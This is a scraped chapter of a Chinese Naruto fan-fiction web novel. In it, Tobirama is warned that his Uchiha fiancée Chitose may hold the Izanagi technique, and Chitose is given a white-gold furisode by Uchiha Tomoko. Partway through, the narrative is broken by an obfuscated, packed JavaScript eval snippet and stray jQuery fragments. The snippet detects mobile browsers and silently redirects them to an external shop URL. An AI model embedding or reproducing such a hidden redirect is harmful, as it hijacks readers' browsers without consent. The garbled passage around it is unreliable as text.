文趣网 > 其他小说 > 宿命 无法改变的宇智波-战国篇 > 149.白金色振袖
    千手一族议事厅

    往日千手一族的族会,向来由柱间亲自主持。今日柱间因理事会突发紧急会议,分身乏术,便交由千手扉间代为执掌整场族会。

    近期千手族内安稳平和、诸事顺遂,例行族务分配有条不紊地尽数落实。待扉间逐项敲定所有事宜,最后垂声询问族人是否尚有异议,底下全员默然无辞,无人再有增补。

    他便依例,宣布结束本次族会。

    族人三三两两起身散去,空旷的议事厅渐渐冷清下来。待到大半族人尽数离场,扉间方才起身,垂眸整理着案上堆叠的族务资料。

    可一道端坐的身影自始至终不动,全无起身离去的意思。

    自族会开场至今,千手明德始终沉默静坐、一言不发,反常的沉静早已让扉间暗自心生疑虑,只是方才忙于公务,未曾多问。

    此刻四下无人,静谧无声,扉间抬眸看向那道身影,出声询问:

    “明德大人,可是尚有事宜未决?”

    千手明德依旧安坐原位,抬眸望向身前的男人,语气平缓,直入正题:

    “扉间,近日我听闻了不少关于你那位宇智波未婚妻的流言传闻。”

    扉间眉心当即微蹙。

    他心知肚明,自火影选举大会伊始,千手明德便与日向日翔一派暗自交好,立场相合,对千歲抱有偏见与敌意。

    “千歲的事情,我比任何人都清楚,无需明德大人置喙。”扉间语声冷淡,态度分明。

    听闻此言,千手明德缓缓起身,步履沉稳地一步步向前,目光沉沉锁定扉间:

    “扉间,你从未发觉,你如今的判断与立场,早已因她彻底偏颇?”

    “我行事自有分寸,不劳明德大人费心。”

    扉间当即出声,径直否定了对方的揣测与质疑。

    “宇智波治里一案,我不信以你的洞察力,会看不出其中蹊跷。”

    千手明德并未退让半分,他一步一步缓缓走近至他身侧,压低嗓音,用仅有两人能听清的音量,字字沉沉道:

    “有人怀疑,是宇智波千歲杀害了宇智波治里,并且夺走了她的双眼。”

    “明德大人。”

    扉间语声骤然沉冷,裹挟着一丝的不悦与戒备,当场厉声打断他的话语。

    “莫须有的揣测,我不希望你同外界闲人一般,肆意妄议他人。”

    “呵。”

    千手明德轻轻一叹,语气带着几分怅然与利锐:

    “从前的你,心思缜密,多疑审慎,从不会放过任何一处破绽疑点。”

    “没想到如今,竟变得这般感情用事。”

    扉间眉心紧锁,心底掀起一丝微澜。

    他自己心里清楚,必须理智克制、万事秉公而论,不能为人情外物动摇判断。可唯独只要事关千歲,他便无法保持绝对的冰冷客观,心底会本能地偏向她、信任她,心甘情愿为她打破自己的准则。

    这般改变,以前他不愿承认,此刻却无从辩驳。

    千手明德将他细微的神色变化尽收眼底,知晓这番话语已然落到了他心底,让他真正听了进去。

    他稍作停顿,斟酌再三,终于道出了藏在心底的话语:

    “我在木叶警务部队内部,安插了亲信眼线。”

    “宇智波千歲的身上,藏着一项唯有写轮眼才驱动的禁术。”

    扉间抬眸,深邃的眼底掠过一抹疑惑。

    明德望着他的眼眸,一字一顿开口:

    “伊邪那岐。”

    宇智波斑老宅

    宇智波斑的老宅庭院清幽雅致。澄澈的池塘里,几尾锦鲤悠然摆尾,时不时张口吐出细碎泡泡,荡开一圈圈涟漪。

    千歲蹲在池边,小心翼翼拆开纸袋,将方才闹市买回的鱼食,一点点撒入水面。

    可这群锦鲤格外精明狡黠,明明眼巴巴凑在水边,圆溜溜的眼珠紧紧盯着她手中还未投下,色泽鲜亮的昂贵饲料,却偏偏不肯张口吃已然投下的普通鱼食,只静静悬在水中观望,半点不上钩。

    千歲见状眼角微抽,额角默默划下几道黑线。

    这年头,连池里的鱼都这般挑剔势利,识得好坏贵贱。她压低嗓音小声嘀咕,带着几分无奈的嗔怪:

    “这么挑食,小心日后吃太好,撑得翻肚皮。”

    庭院廊下,宇智波智子安然闲坐。侍女端来一盘切好的冰镇西瓜,果肉鲜红清甜,凉意沁人。

    智子却无心享用,目光温柔落在池边蹲坐的金发少女身上,看着她孩子气十足逗鱼的模样,含笑开口唤道:

    “千歲,别逗它们了,过来歇歇吧。”

    千歲正满心困惑,琢磨着为何智子祖母院里的锦鲤这般挑剔难喂,闻声便应声起身。

    她全然未曾察觉自己蹲许久,双腿早已彻底发麻酸胀。刚一站起,双腿一软,眼前骤然一黑,重心彻底失衡,整个人踉跄着直直摔进身前浅浅的池塘里。

    “痛……”

    微凉的池水浸透衣衫,少女狼狈坐在浅水塘底,浑身湿透,发丝沾着水珠贴在颊边。

    方才挑食傲娇的几尾锦鲤,反倒齐齐围拢在她身侧,慢悠悠游动,像是凑过来看热闹、肆意打趣她的窘态。

    廊下的智子望着她冒失可爱、毫无架子的模样,忍不住低低笑出声,眉眼满是温柔纵容。

    千歲撑着池水起身,浑身湿漉漉,衣料贴身,步履略显僵硬地走到智子面前,耳尖泛红,语气窘迫:

    “……智子祖母,我先回家换身衣服,稍后再来陪您。”

    智子静静望着眼前的少女。

    常年一身利落装束,不是规整严肃的宇智波族服,便是的木叶警务部队制服,鲜少有温柔娇婉的模样。

    这般精致出众的眉眼容貌,日日被利落工装遮掩,实在可惜。

    她心念微动,温柔笑起,转头对身侧侍女轻声示意。

    侍女立刻会意上前,温柔拉住千歲的手腕,引着她往后室走去。

    千歲还未全然反应过来,便被带入雅致的更衣室。侍女动作麻利娴熟,手脚轻柔地为她换上一套崭新的振袖和服。

    这是一套制式正统的少女振袖,衣身以白金色为底,鎏金暗纹铺展错落,配色华贵清雅,质感上乘。衣身刺绣纹样精致繁复、针脚细腻,尽显考究工艺。

    后颈衣领内侧,悄悄绣着一枚小巧精致的宇智波团扇族徽。

    振袖袖摆修长垂坠,腰间系着层层叠叠的繁复带结,版型挺括端庄,是最为精致的少女礼装。

    一身和服上身,彻底褪去了她平日的凌厉,添满温婉明艳的大家闺秀气韵。

    只是这身礼装束缚规整,与她利落的行事风格全然相悖,让千歲一时手足无措,连走路都变得僵硬拘谨,抬手投足皆小心翼翼。

    她转头看向身后替自己梳理发髻的侍女,眉眼带着真切的担忧:

    “姐姐,我穿这身振袖,若是遇上案子,瞬身的时候肯定会摔倒的。”

    侍女看着她拘谨无措、满眼认真的模样,忍不住温柔打趣:

    “那不是更帅气?从来没有见过穿振袖执勤的警务队长。”

    侍女巧手梳理,为她挽起规整精致的发髻,衬得她眉眼愈发清丽精致。待一切装束打理妥当,侍女引着焕然一新的千歲重回庭院。

    千歲每一步都走得小心翼翼、格外拘谨。

    智子

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760293|203075||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    闻声回眸,望见少女一身鎏金白振袖、发髻雅致、眉眼温婉的模样,眼底笑意更浓,缓缓开口:

    “这下,总算有几分我们宇智波精心养出的大家闺秀模样了。”

    千歲脸颊微微发烫,缓缓在智子身侧跪坐下来。此刻身着庄重的振袖,她连落座抬手都格外拘谨,浑身不自在,全然不知该如何放松姿态。

    “智子祖母,您就别打趣我了。”

    智子侧眸细细打量她。精致的发髻衬得侧脸线条柔和利落,肌肤白皙剔透,染上薄红的眉眼羞怯温婉,俨然是养在深宅的世家娇女,动人至极。

    她抬手端起案上清茶,浅浅抿了一口,语气缓缓,状似随意问道:

    “千手一族的长辈们,近来可有难为你?”

    她知晓千歲与扉间的婚事已定,也清楚是宇智波斑亲自出面,以族中长辈身份为她敲定婚约。千歲轻轻摇头,语气平和乖巧:

    “诸位长辈都很温和待我,不曾为难我。”

    智子淡淡看她一眼,知道这孩子心性纯粹通透、待人赤诚,估计也听不出旁人话语里的试探、排挤与言外之意,纵使暗中有人刁难,她也未必能够察觉。

    庭院静风微凉,良久,智子微微歪头,指尖叉起一小块西瓜,慢悠悠含入口中,故作认真为难地开口打趣:

    “既然如此,千歲不如干脆反悔。趁着婚期未到,干脆嫁给斑,如何?”

    闻言,千歲瞬间慌乱摆手,又羞又急:

    “智子祖母!您别再打趣我了!”

    依旧是这般纯粹直白、一逗就羞的模样,半点不经逗。

    智子温柔轻笑,眼底满是宠溺。

    自斑上任火影、日日忙于村务政务、极少归宅之后,千歲有空时便应她的邀约,前来老宅陪她闲话小坐、消解寂寥。她是真心将这孩子视作晚辈,满心惦念关怀。

    “这身振袖,便赠予你吧。”

    智子温声开口,“算作祖母送给你的新婚贺礼。”

    千歲回眸,指尖轻轻抚过衣身细腻的刺绣与上乘的面料,便知这套振袖价值不菲,绝非寻常衣物。

    她当即想要开口推辞。

    一旁的侍女适时上前,温柔按住她的肩头,笑着柔声劝道:

    “老夫人心意已定,千歲就安心收下吧,可别让我再费力帮您脱下这身衣服了。”

    几番温柔劝说盛情难却,千歲只得郑重收下这份厚重又温柔的新婚礼物。

    天色渐渐沉晚,暮色漫落庭院。

    千歲向智子躬身辞别,一手提着方才湿透的旧衣,身着一身白金色振袖,踩着木屐,步履生疏缓慢地朝着自己的居所挪动。

    这身振袖确实好看,可层层束缚的衣摆,牢牢禁锢着肢体动作,让她全然无法自如走动,更别提施展瞬身术。

    她低头望着腰上错综复杂的系带,眉眼泛起几分茫然:

    “……我回去到底该怎么脱才好。”

    一路慢行,堪堪走到自家门口。

    院门前方,一个金发小身影正踮着脚,歪着脑袋往院里张望,模样灵动可爱。

    “小玉?”

    千歲轻声唤道。

    小玉蓦然回头,一眼望见气质大变的千歲,眼眸骤然一亮,立刻兴冲冲小跑上前,满脸惊艳:

    “千歲姐姐!你是去参加宴会了吗?今天太漂亮啦!”

    千歲耳尖微红,有些不好意思地挠了挠脸颊,抬手温柔揉了揉小玉的金发,轻声询问:

    “今日怎么突然过来找我?”

    小玉立刻拉起她的手,脚步轻快地拽着她往外走,语气雀跃又急切:

    “扉间大人在族地门口等你!快点快点!”